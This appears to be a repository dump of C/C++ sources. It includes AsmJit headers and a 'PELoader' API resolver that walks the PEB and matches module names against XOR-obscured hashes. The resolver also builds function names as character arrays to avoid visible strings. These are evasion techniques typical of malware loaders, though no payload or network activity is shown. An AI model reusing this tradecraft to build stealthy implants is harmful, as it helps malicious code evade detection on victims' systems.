lpReadOnlyStaticServerData; 86 | LPVOID lpAnsiCodePageData; 87 | LPVOID lpOemCodePageData; 88 | LPVOID lpUnicodeCaseTableData; 89 | DWORD dwNumberOfProcessors; 90 | DWORD dwNtGlobalFlag; 91 | LARGE_INTEGER liCriticalSectionTimeout; 92 | DWORD dwHeapSegmentReserve; 93 | DWORD dwHeapSegmentCommit; 94 | DWORD dwHeapDeCommitTotalFreeThreshold; 95 | DWORD dwHeapDeCommitFreeBlockThreshold; 96 | DWORD dwNumberOfHeaps; 97 | DWORD dwMaximumNumberOfHeaps; 98 | LPVOID lpProcessHeaps; 99 | LPVOID lpGdiSharedHandleTable; 100 | LPVOID lpProcessStarterHelper; 101 | DWORD dwGdiDCAttributeList; 102 | LPVOID lpLoaderLock; 103 | DWORD dwOSMajorVersion; 104 | DWORD dwOSMinorVersion; 105 | WORD wOSBuildNumber; 106 | WORD wOSCSDVersion; 107 | DWORD dwOSPlatformId; 108 | DWORD dwImageSubsystem; 109 | DWORD dwImageSubsystemMajorVersion; 110 | DWORD dwImageSubsystemMinorVersion; 111 | DWORD dwImageProcessAffinityMask; 112 | DWORD dwGdiHandleBuffer[34]; 113 | LPVOID lpPostProcessInitRoutine; 114 | LPVOID lpTlsExpansionBitmap; 115 | DWORD dwTlsExpansionBitmapBits[32]; 116 | DWORD dwSessionId; 117 | ULARGE_INTEGER liAppCompatFlags; 118 | ULARGE_INTEGER liAppCompatFlagsUser; 119 | LPVOID lppShimData; 120 | LPVOID lpAppCompatInfo; 121 | UNICODE_STR usCSDVersion; 122 | LPVOID lpActivationContextData; 123 | LPVOID lpProcessAssemblyStorageMap; 124 | LPVOID lpSystemDefaultActivationContextData; 125 | LPVOID lpSystemAssemblyStorageMap; 126 | DWORD dwMinimumStackCommit; 127 | } _PEB, * _PPEB; 128 | 129 | void MyMemCpy(PBYTE destination, PBYTE source, int length); 130 | UINT64 GetSymbolAddress(UINT64 dllAddress, LPCSTR lpProcName); 131 | UINT64 GetLoadedLibrary(unsigned long hash); 132 | 133 | // kernel32.dll exports 134 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 135 | typedef UINT64(WINAPI* GETPROCADDRESS)(HMODULE, PCSTR); 136 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 137 | typedef HANDLE(WINAPI* CREATEFILEMAPPINGA) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); 138 | typedef LPVOID(WINAPI* MAPVIEWOFFILE) (HANDLE, DWORD, DWORD, DWORD, SIZE_T); 139 | typedef BOOL (WINAPI* CLOSEHANDLE)(HANDLE); 140 | typedef HANDLE (WINAPI* OPENFILEMAPPINGA)(DWORD, BOOL, LPCSTR); 141 | typedef BOOL (WINAPI* CREATEPROCESSA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA,LPPROCESS_INFORMATION); 142 | 143 | // msvcrt.dll exports 144 | typedef int (WINAPI* STRNCMP)(const char*, const char*, size_t); 145 | typedef size_t(WINAPI* STRLEN)(const char*); 146 | typedef int(WINAPI* PRINTF)(const char*, ...); 147 | typedef void* (WINAPI* CALLOC)(size_t, size_t); 148 | typedef void (WINAPI* FREE)(void*); 149 | typedef int (WINAPI* VSNPRINTF)(char*, size_t, const char*, va_list); 150 | typedef int (WINAPI* VPRINTF)(const char*,va_list); 151 | typedef void* (WINAPI* REALLOC)(void*, size_t); 152 | typedef errno_t (WINAPI* STRCPY_S)(char*,rsize_t,const char*); 153 | typedef char* (WINAPI* STRTOK_S)(char*,const char*,char**); 154 | 155 | //shlwapi.dll exports 156 | typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR); 157 | 158 | //Advapi32.dll exports 159 | typedef BOOL (WINAPI* SETTHREADTOKEN)(PHANDLE, HANDLE); 160 | typedef BOOL (WINAPI* REVERTTOSELF)(); 161 | -------------------------------------------------------------------------------- /src/asmjit/core/features.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_FEATURES_H_INCLUDED 25 | #define ASMJIT_CORE_FEATURES_H_INCLUDED 26 | 27 | #include "../core/globals.h" 28 | #include "../core/support.h" 29 | 30 | ASMJIT_BEGIN_NAMESPACE 31 | 32 | //! \addtogroup asmjit_core 33 | //! \{ 34 | 35 | // ============================================================================ 36 | // [asmjit::BaseFeatures] 37 | // ============================================================================ 38 | 39 | //! Base class that provides information about CPU features. 40 | //! 41 | //! Internally each feature is represented by a single bit in an embedded 42 | //! bit-array, however, feature bits are defined by an architecture specific 43 | //! implementations, like \ref x86::Features. 44 | class BaseFeatures { 45 | public: 46 | typedef Support::BitWord BitWord; 47 | typedef Support::BitVectorIterator Iterator; 48 | 49 | enum : uint32_t { 50 | kMaxFeatures = 256, 51 | kNumBitWords = kMaxFeatures / Support::kBitWordSizeInBits 52 | }; 53 | 54 | BitWord _bits[kNumBitWords]; 55 | 56 | //! \name Construction & Destruction 57 | //! \{ 58 | 59 | inline BaseFeatures() noexcept { reset(); } 60 | inline BaseFeatures(const BaseFeatures& other) noexcept = default; 61 | inline explicit BaseFeatures(Globals::NoInit_) noexcept {} 62 | 63 | inline void reset() noexcept { 64 | for (size_t i = 0; i < kNumBitWords; i++) 65 | _bits[i] = 0; 66 | } 67 | 68 | //! \} 69 | 70 | //! \name Overloaded Operators 71 | //! \{ 72 | 73 | inline BaseFeatures& operator=(const BaseFeatures& other) noexcept = default; 74 | 75 | inline bool operator==(const BaseFeatures& other) noexcept { return eq(other); } 76 | inline bool operator!=(const BaseFeatures& other) noexcept { return !eq(other); } 77 | 78 | //! \} 79 | 80 | //! \name Cast 81 | //! \{ 82 | 83 | //! Casts this base class into a derived type `T`. 84 | template 85 | inline T& as() noexcept { return static_cast(*this); } 86 | 87 | //! Casts this base class into a derived type `T` (const). 88 | template 89 | inline const T& as() const noexcept { return static_cast(*this); } 90 | 91 | //! \} 92 | 93 | //! \name Accessors 94 | //! \{ 95 | 96 | inline bool empty() const noexcept { 97 | for (uint32_t i = 0; i < kNumBitWords; i++) 98 | if (_bits[i]) 99 | return false; 100 | return true; 101 | } 102 | 103 | //! Returns all features as array of bitwords (see \ref Support::BitWord). 104 | inline BitWord* bits() noexcept { return _bits; } 105 | //! Returns all features as array of bitwords (const). 106 | inline const BitWord* bits() const noexcept { return _bits; } 107 | 108 | //! Returns the number of BitWords returned by \ref bits(). 109 | inline size_t bitWordCount() const noexcept { return kNumBitWords; } 110 | 111 | //! Returns \ref Support::BitVectorIterator, that can be used to iterate 112 | //! all features efficiently 113 | inline Iterator iterator() const noexcept { 114 | return Iterator(_bits, kNumBitWords); 115 | } 116 | 117 | //! Tests whether the feature `featureId` is present. 118 | inline bool has(uint32_t featureId) const noexcept { 119 | ASMJIT_ASSERT(featureId < kMaxFeatures); 120 | 121 | uint32_t idx = featureId / Support::kBitWordSizeInBits; 122 | uint32_t bit = featureId % Support::kBitWordSizeInBits; 123 | 124 | return bool((_bits[idx] >> bit) & 0x1); 125 | } 126 | 127 | //! Tests whether all features as defined by `other` are present. 128 | inline bool hasAll(const BaseFeatures& other) const noexcept { 129 | for (uint32_t i = 0; i < kNumBitWords; i++) 130 | if ((_bits[i] & other._bits[i]) != other._bits[i]) 131 | return false; 132 | return true; 133 | } 134 | 135 | //! \} 136 | 137 | //! \name Utilities 138 | //! \{ 139 | 140 | //! Adds the given CPU `featureId` to the list of features. 141 | inline void add(uint32_t featureId) noexcept { 142 | ASMJIT_ASSERT(featureId < kMaxFeatures); 143 | 144 | uint32_t idx = featureId / Support::kBitWordSizeInBits; 145 | uint32_t bit = featureId % Support::kBitWordSizeInBits; 146 | 147 | _bits[idx] |= BitWord(1) << bit; 148 | } 149 | 150 | template 151 | inline void add(uint32_t featureId, Args... otherIds) noexcept { 152 | add(featureId); 153 | add(otherIds...); 154 | } 155 | 156 | //! Removes the given CPU `featureId` from the list of features. 157 | inline void remove(uint32_t featureId) noexcept { 158 | ASMJIT_ASSERT(featureId < kMaxFeatures); 159 | 160 | uint32_t idx = featureId / Support::kBitWordSizeInBits; 161 | uint32_t bit = featureId % Support::kBitWordSizeInBits; 162 | 163 | _bits[idx] &= ~(BitWord(1) << bit); 164 | } 165 | 166 | template 167 | inline void remove(uint32_t featureId, Args... otherIds) noexcept { 168 | remove(featureId); 169 | remove(otherIds...); 170 | } 171 | 172 | inline bool eq(const BaseFeatures& other) const noexcept { 173 | for (size_t i = 0; i < kNumBitWords; i++) 174 | if (_bits[i] != other._bits[i]) 175 | return false; 176 | return true; 177 | } 178 | 179 | //! \} 180 | }; 181 | 182 | //! \} 183 | 184 | ASMJIT_END_NAMESPACE 185 | 186 | #endif // ASMJIT_CORE_FEATURES_H_INCLUDED 187 | -------------------------------------------------------------------------------- /src/asmjit/core/rastack_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_RASTACK_P_H_INCLUDED 25 | #define ASMJIT_CORE_RASTACK_P_H_INCLUDED 26 | 27 | #include "../core/api-config.h" 28 | #ifndef ASMJIT_NO_COMPILER 29 | 30 | #include "../core/radefs_p.h" 31 | 32 | ASMJIT_BEGIN_NAMESPACE 33 | 34 | //! \cond INTERNAL 35 | //! \addtogroup asmjit_ra 36 | //! \{ 37 | 38 | // ============================================================================ 39 | // [asmjit::RAStackSlot] 40 | // ============================================================================ 41 | 42 | //! Stack slot. 43 | struct RAStackSlot { 44 | //! Stack slot flags. 45 | //! 46 | //! TODO: kFlagStackArg is not used by the current implementation, do we need to keep it? 47 | enum Flags : uint32_t { 48 | //! Stack slot is register home slot. 49 | kFlagRegHome = 0x0001u, 50 | //! Stack slot position matches argument passed via stack. 51 | kFlagStackArg = 0x0002u 52 | }; 53 | 54 | enum ArgIndex : uint32_t { 55 | kNoArgIndex = 0xFF 56 | }; 57 | 58 | //! Base register used to address the stack. 59 | uint8_t _baseRegId; 60 | //! Minimum alignment required by the slot. 61 | uint8_t _alignment; 62 | //! Reserved for future use. 63 | uint16_t _flags; 64 | //! Size of memory required by the slot. 65 | uint32_t _size; 66 | 67 | //! Usage counter (one unit equals one memory access). 68 | uint32_t _useCount; 69 | //! Weight of the slot, calculated by \ref RAStackAllocator::calculateStackFrame(). 70 | uint32_t _weight; 71 | //! Stack offset, calculated by \ref RAStackAllocator::calculateStackFrame(). 72 | int32_t _offset; 73 | 74 | //! \name Accessors 75 | //! \{ 76 | 77 | inline uint32_t baseRegId() const noexcept { return _baseRegId; } 78 | inline void setBaseRegId(uint32_t id) noexcept { _baseRegId = uint8_t(id); } 79 | 80 | inline uint32_t size() const noexcept { return _size; } 81 | inline uint32_t alignment() const noexcept { return _alignment; } 82 | 83 | inline uint32_t flags() const noexcept { return _flags; } 84 | inline bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } 85 | inline void addFlags(uint32_t flags) noexcept { _flags = uint16_t(_flags | flags); } 86 | 87 | inline bool isRegHome() const noexcept { return hasFlag(kFlagRegHome); } 88 | inline bool isStackArg() const noexcept { return hasFlag(kFlagStackArg); } 89 | 90 | inline uint32_t useCount() const noexcept { return _useCount; } 91 | inline void addUseCount(uint32_t n = 1) noexcept { _useCount += n; } 92 | 93 | inline uint32_t weight() const noexcept { return _weight; } 94 | inline void setWeight(uint32_t weight) noexcept { _weight = weight; } 95 | 96 | inline int32_t offset() const noexcept { return _offset; } 97 | inline void setOffset(int32_t offset) noexcept { _offset = offset; } 98 | 99 | //! \} 100 | }; 101 | 102 | typedef ZoneVector RAStackSlots; 103 | 104 | // ============================================================================ 105 | // [asmjit::RAStackAllocator] 106 | // ============================================================================ 107 | 108 | //! Stack allocator. 109 | class RAStackAllocator { 110 | public: 111 | ASMJIT_NONCOPYABLE(RAStackAllocator) 112 | 113 | enum Size : uint32_t { 114 | kSize1 = 0, 115 | kSize2 = 1, 116 | kSize4 = 2, 117 | kSize8 = 3, 118 | kSize16 = 4, 119 | kSize32 = 5, 120 | kSize64 = 6, 121 | kSizeCount = 7 122 | }; 123 | 124 | //! Allocator used to allocate internal data. 125 | ZoneAllocator* _allocator; 126 | //! Count of bytes used by all slots. 127 | uint32_t _bytesUsed; 128 | //! Calculated stack size (can be a bit greater than `_bytesUsed`). 129 | uint32_t _stackSize; 130 | //! Minimum stack alignment. 131 | uint32_t _alignment; 132 | //! Stack slots vector. 133 | RAStackSlots _slots; 134 | 135 | //! \name Construction / Destruction 136 | //! \{ 137 | 138 | inline RAStackAllocator() noexcept 139 | : _allocator(nullptr), 140 | _bytesUsed(0), 141 | _stackSize(0), 142 | _alignment(1), 143 | _slots() {} 144 | 145 | inline void reset(ZoneAllocator* allocator) noexcept { 146 | _allocator = allocator; 147 | _bytesUsed = 0; 148 | _stackSize = 0; 149 | _alignment = 1; 150 | _slots.reset(); 151 | } 152 | 153 | //! \} 154 | 155 | //! \name Accessors 156 | //! \{ 157 | 158 | inline ZoneAllocator* allocator() const noexcept { return _allocator; } 159 | 160 | inline uint32_t bytesUsed() const noexcept { return _bytesUsed; } 161 | inline uint32_t stackSize() const noexcept { return _stackSize; } 162 | inline uint32_t alignment() const noexcept { return _alignment; } 163 | 164 | inline RAStackSlots& slots() noexcept { return _slots; } 165 | inline const RAStackSlots& slots() const noexcept { return _slots; } 166 | inline uint32_t slotCount() const noexcept { return _slots.size(); } 167 | 168 | //! \} 169 | 170 | //! \name Utilities 171 | //! \{ 172 | 173 | RAStackSlot* newSlot(uint32_t baseRegId, uint32_t size, uint32_t alignment, uint32_t flags = 0) noexcept; 174 | 175 | Error calculateStackFrame() noexcept; 176 | Error adjustSlotOffsets(int32_t offset) noexcept; 177 | 178 | //! \} 179 | }; 180 | 181 | //! \} 182 | //! \endcond 183 | 184 | ASMJIT_END_NAMESPACE 185 | 186 | #endif // !ASMJIT_NO_COMPILER 187 | #endif // ASMJIT_CORE_RASTACK_P_H_INCLUDED 188 | -------------------------------------------------------------------------------- /src/asmjit/core/zonelist.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_ZONELIST_H_INCLUDED 25 | #define ASMJIT_CORE_ZONELIST_H_INCLUDED 26 | 27 | #include "../core/support.h" 28 | 29 | ASMJIT_BEGIN_NAMESPACE 30 | 31 | //! \addtogroup asmjit_zone 32 | //! \{ 33 | 34 | // ============================================================================ 35 | // [asmjit::ZoneListNode] 36 | // ============================================================================ 37 | 38 | //! Node used by \ref ZoneList template. 39 | template 40 | class ZoneListNode { 41 | public: 42 | ASMJIT_NONCOPYABLE(ZoneListNode) 43 | 44 | NodeT* _listNodes[Globals::kLinkCount]; 45 | 46 | //! \name Construction & Destruction 47 | //! \{ 48 | 49 | inline ZoneListNode() noexcept 50 | : _listNodes { nullptr, nullptr } {} 51 | 52 | inline ZoneListNode(ZoneListNode&& other) noexcept 53 | : _listNodes { other._listNodes[0], other._listNodes[1] } {} 54 | 55 | //! \} 56 | 57 | //! \name Accessors 58 | //! \{ 59 | 60 | inline bool hasPrev() const noexcept { return _listNodes[Globals::kLinkPrev] != nullptr; } 61 | inline bool hasNext() const noexcept { return _listNodes[Globals::kLinkNext] != nullptr; } 62 | 63 | inline NodeT* prev() const noexcept { return _listNodes[Globals::kLinkPrev]; } 64 | inline NodeT* next() const noexcept { return _listNodes[Globals::kLinkNext]; } 65 | 66 | //! \} 67 | }; 68 | 69 | // ============================================================================ 70 | // [asmjit::ZoneList] 71 | // ============================================================================ 72 | 73 | //! Zone allocated list container that uses nodes of `NodeT` type. 74 | template 75 | class ZoneList { 76 | public: 77 | ASMJIT_NONCOPYABLE(ZoneList) 78 | 79 | NodeT* _nodes[Globals::kLinkCount]; 80 | 81 | //! \name Construction & Destruction 82 | //! \{ 83 | 84 | inline ZoneList() noexcept 85 | : _nodes { nullptr, nullptr } {} 86 | 87 | inline ZoneList(ZoneList&& other) noexcept 88 | : _nodes { other._nodes[0], other._nodes[1] } {} 89 | 90 | inline void reset() noexcept { 91 | _nodes[0] = nullptr; 92 | _nodes[1] = nullptr; 93 | } 94 | 95 | //! \} 96 | 97 | //! \name Accessors 98 | //! \{ 99 | 100 | inline bool empty() const noexcept { return _nodes[0] == nullptr; } 101 | inline NodeT* first() const noexcept { return _nodes[Globals::kLinkFirst]; } 102 | inline NodeT* last() const noexcept { return _nodes[Globals::kLinkLast]; } 103 | 104 | //! \} 105 | 106 | //! \name Utilities 107 | //! \{ 108 | 109 | inline void swap(ZoneList& other) noexcept { 110 | std::swap(_nodes[0], other._nodes[0]); 111 | std::swap(_nodes[1], other._nodes[1]); 112 | } 113 | 114 | // Can be used to both append and prepend. 115 | inline void _addNode(NodeT* node, size_t dir) noexcept { 116 | NodeT* prev = _nodes[dir]; 117 | 118 | node->_listNodes[!dir] = prev; 119 | _nodes[dir] = node; 120 | if (prev) 121 | prev->_listNodes[dir] = node; 122 | else 123 | _nodes[!dir] = node; 124 | } 125 | 126 | // Can be used to both append and prepend. 127 | inline void _insertNode(NodeT* ref, NodeT* node, size_t dir) noexcept { 128 | ASMJIT_ASSERT(ref != nullptr); 129 | 130 | NodeT* prev = ref; 131 | NodeT* next = ref->_listNodes[dir]; 132 | 133 | prev->_listNodes[dir] = node; 134 | if (next) 135 | next->_listNodes[!dir] = node; 136 | else 137 | _nodes[dir] = node; 138 | 139 | node->_listNodes[!dir] = prev; 140 | node->_listNodes[ dir] = next; 141 | } 142 | 143 | inline void append(NodeT* node) noexcept { _addNode(node, Globals::kLinkLast); } 144 | inline void prepend(NodeT* node) noexcept { _addNode(node, Globals::kLinkFirst); } 145 | 146 | inline void insertAfter(NodeT* ref, NodeT* node) noexcept { _insertNode(ref, node, Globals::kLinkNext); } 147 | inline void insertBefore(NodeT* ref, NodeT* node) noexcept { _insertNode(ref, node, Globals::kLinkPrev); } 148 | 149 | inline NodeT* unlink(NodeT* node) noexcept { 150 | NodeT* prev = node->prev(); 151 | NodeT* next = node->next(); 152 | 153 | if (prev) { prev->_listNodes[1] = next; node->_listNodes[0] = nullptr; } else { _nodes[0] = next; } 154 | if (next) { next->_listNodes[0] = prev; node->_listNodes[1] = nullptr; } else { _nodes[1] = prev; } 155 | 156 | node->_listNodes[0] = nullptr; 157 | node->_listNodes[1] = nullptr; 158 | 159 | return node; 160 | } 161 | 162 | inline NodeT* popFirst() noexcept { 163 | NodeT* node = _nodes[0]; 164 | ASMJIT_ASSERT(node != nullptr); 165 | 166 | NodeT* next = node->next(); 167 | _nodes[0] = next; 168 | 169 | if (next) { 170 | next->_listNodes[0] = nullptr; 171 | node->_listNodes[1] = nullptr; 172 | } 173 | else { 174 | _nodes[1] = nullptr; 175 | } 176 | 177 | return node; 178 | } 179 | 180 | inline NodeT* pop() noexcept { 181 | NodeT* node = _nodes[1]; 182 | ASMJIT_ASSERT(node != nullptr); 183 | 184 | NodeT* prev = node->prev(); 185 | _nodes[1] = prev; 186 | 187 | if (prev) { 188 | prev->_listNodes[1] = nullptr; 189 | node->_listNodes[0] = nullptr; 190 | } 191 | else { 192 | _nodes[0] = nullptr; 193 | } 194 | 195 | return node; 196 | } 197 | 198 | //! \} 199 | }; 200 | 201 | //! \} 202 | 203 | ASMJIT_END_NAMESPACE 204 | 205 | #endif // ASMJIT_CORE_ZONELIST_H_INCLUDED 206 | -------------------------------------------------------------------------------- /PELoader/APISolver.c: -------------------------------------------------------------------------------- 1 | #include "APISolver.h" 2 | 3 | unsigned long UnicodeDjb2(const wchar_t* str); 4 | unsigned long XorHash(unsigned long hash); 5 | unsigned long djb2(unsigned char* str); 6 | 7 | // custom strcmp function since this function will be called by GetSymbolAddress 8 | // which means we have to call strcmp before loading msvcrt.dll 9 | // so we are writing our own my_strcmp so that we don't have to play with egg or chicken dilemma 10 | int MyStrCmp(const char* p1, const char* p2) { 11 | const unsigned char* s1 = (const unsigned char*)p1; 12 | const unsigned char* s2 = (const unsigned char*)p2; 13 | unsigned char c1, c2; 14 | do { 15 | c1 = (unsigned char)*s1++; 16 | c2 = (unsigned char)*s2++; 17 | if (c1 == '\0') { 18 | return c1 - c2; 19 | } 20 | } while (c1 == c2); 21 | return c1 - c2; 22 | } 23 | 24 | UINT64 FollowExport(char* ptr_forward, LPCSTR lpProcName) { 25 | UINT64 kernel32DLL = GetLoadedLibrary(CRYPTED_HASH_KERNEL32); 26 | CHAR loadLibraryAString[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0 }; 27 | LOADLIBRARYA loadLibraryAFunc = (LOADLIBRARYA)GetSymbolAddress(kernel32DLL, loadLibraryAString); 28 | UINT64 shlwapiDLL = GetLoadedLibrary(CRYPTED_HASH_SHLWAPIDLL); 29 | if (shlwapiDLL == 0) { 30 | CHAR shlwapiDLLString[] = { 's','h','l','w','a','p','i','.','d','l','l',0x00 }; 31 | loadLibraryAFunc(shlwapiDLLString); 32 | shlwapiDLL = GetLoadedLibrary(CRYPTED_HASH_SHLWAPIDLL); 33 | } 34 | CHAR strStrAString[] = { 'S', 't', 'r', 'S', 't', 'r', 'A', 0 }; 35 | STRSTRA _StrStrA = (STRSTRA)GetSymbolAddress(shlwapiDLL, strStrAString); 36 | 37 | char del[] = { '.', 0x00 }; 38 | char* pos_del = 0x00; 39 | char forward_dll[MAX_PATH] = { 0 }; 40 | char forward_export[MAX_PATH] = { 0 }; 41 | uint8_t i = 0; 42 | uint64_t fwd_dll_base = 0x00, forwarded_export = 0x00; 43 | 44 | while (*ptr_forward) 45 | forward_dll[i++] = *ptr_forward++; 46 | 47 | pos_del = (char*)_StrStrA(forward_dll, del); 48 | if (pos_del == 0) 49 | return 0; 50 | 51 | *(char*)(pos_del++) = 0x00; 52 | i = 0; 53 | while (*pos_del) 54 | forward_export[i++] = *pos_del++; 55 | 56 | 57 | fwd_dll_base = GetLoadedLibrary(XorHash(djb2((unsigned char*)forward_dll))); 58 | if (fwd_dll_base == 0x00) { 59 | fwd_dll_base = (uint64_t) loadLibraryAFunc(forward_dll); 60 | if (fwd_dll_base == 0x00) 61 | return 0; 62 | } 63 | 64 | forwarded_export = GetSymbolAddress(fwd_dll_base, forward_export); 65 | 66 | return forwarded_export; 67 | 68 | } 69 | 70 | 71 | UINT64 GetSymbolAddress(UINT64 dllAddress, LPCSTR lpProcName) { 72 | UINT64 symbolAddress = 0; 73 | PDWORD exportedAddressTable = 0; 74 | PDWORD namePointerTable = 0; 75 | PWORD ordinalTable = 0; 76 | UINT64 exportDirectoryRVA = 0; 77 | DWORD exportTableSize = 0; 78 | 79 | if (dllAddress == 0) { 80 | return 0; 81 | } 82 | 83 | PIMAGE_NT_HEADERS ntHeaders = NULL; 84 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL; 85 | char* functionName; 86 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + (uint64_t)((PIMAGE_DOS_HEADER)(size_t)dllAddress)->e_lfanew); 87 | exportDirectoryRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 88 | exportTableSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 89 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + exportDirectoryRVA); 90 | 91 | exportedAddressTable = (PDWORD)(dllAddress + exportDirectory->AddressOfFunctions); 92 | namePointerTable = (PDWORD)(dllAddress + exportDirectory->AddressOfNames); 93 | ordinalTable = (PWORD)(dllAddress + exportDirectory->AddressOfNameOrdinals); 94 | 95 | for (unsigned int i = 0; i < exportDirectory->NumberOfNames; i++) { 96 | 97 | functionName = (char*)dllAddress + (namePointerTable[i]); 98 | if (MyStrCmp(functionName, lpProcName) == 0) { 99 | 100 | WORD nameord = ordinalTable[i]; 101 | DWORD rva = exportedAddressTable[nameord]; 102 | 103 | //Still points to export table 104 | if (dllAddress + rva >= dllAddress + exportDirectoryRVA && dllAddress + rva <= dllAddress + exportDirectoryRVA + exportTableSize) { 105 | // This is a forwarded export 106 | 107 | // Normally it should be address, but it points to a name 108 | char* ptr_forward = (char*)(dllAddress + rva); 109 | return FollowExport(ptr_forward, lpProcName); 110 | 111 | } 112 | 113 | 114 | return dllAddress + rva; 115 | } 116 | } 117 | return symbolAddress; 118 | } 119 | 120 | 121 | unsigned long XorHash(unsigned long hash) { 122 | return hash ^ CRYPT_KEY; 123 | } 124 | 125 | 126 | static WCHAR* ToLower(WCHAR* str){ 127 | WCHAR* start = str; 128 | 129 | while (*str) { 130 | if (*str <= L'Z' && *str >= 'A') { 131 | *str += 32; 132 | } 133 | str += 1; 134 | } 135 | return start; 136 | } 137 | 138 | unsigned long UnicodeDjb2(const wchar_t* str){ 139 | 140 | unsigned long hash = 5381; 141 | DWORD val; 142 | 143 | while (*str != 0) { 144 | val = (DWORD)*str++; 145 | hash = ((hash << 5) + hash) + val; 146 | } 147 | 148 | return hash; 149 | 150 | } 151 | 152 | unsigned long djb2(unsigned char* str) 153 | { 154 | unsigned long hash = 5381; 155 | int c; 156 | 157 | while ((c = *str++)) 158 | hash = ((hash << 5) + hash) + c; 159 | 160 | return hash; 161 | } 162 | 163 | // function to fetch the base address of kernel32.dll from the Process Environment Block 164 | UINT64 GetLoadedLibrary(unsigned long hash) { 165 | PLDR_DATA_TABLE_ENTRY cursorLoadedModules,startEntry; 166 | PUNICODE_STR dllName = NULL; 167 | // Get PEB ptr 168 | _PPEB PEBPtr = (_PPEB) __readgsqword(0x60); 169 | // Circular linked list 170 | cursorLoadedModules = startEntry = (PLDR_DATA_TABLE_ENTRY)(PEBPtr->pLdr->InMemoryOrderModuleList.Flink); 171 | do { 172 | dllName = &(cursorLoadedModules->BaseDllName); 173 | 174 | if (UnicodeDjb2(ToLower(dllName->pBuffer)) == XorHash(hash)) { 175 | return (uint64_t)cursorLoadedModules->DllBase; 176 | } 177 | cursorLoadedModules = (PLDR_DATA_TABLE_ENTRY)cursorLoadedModules->InMemoryOrderModuleList.Flink; 178 | } while (cursorLoadedModules && startEntry != cursorLoadedModules); 179 | return 0; 180 | } 181 | --------------------------------------------------------------------------------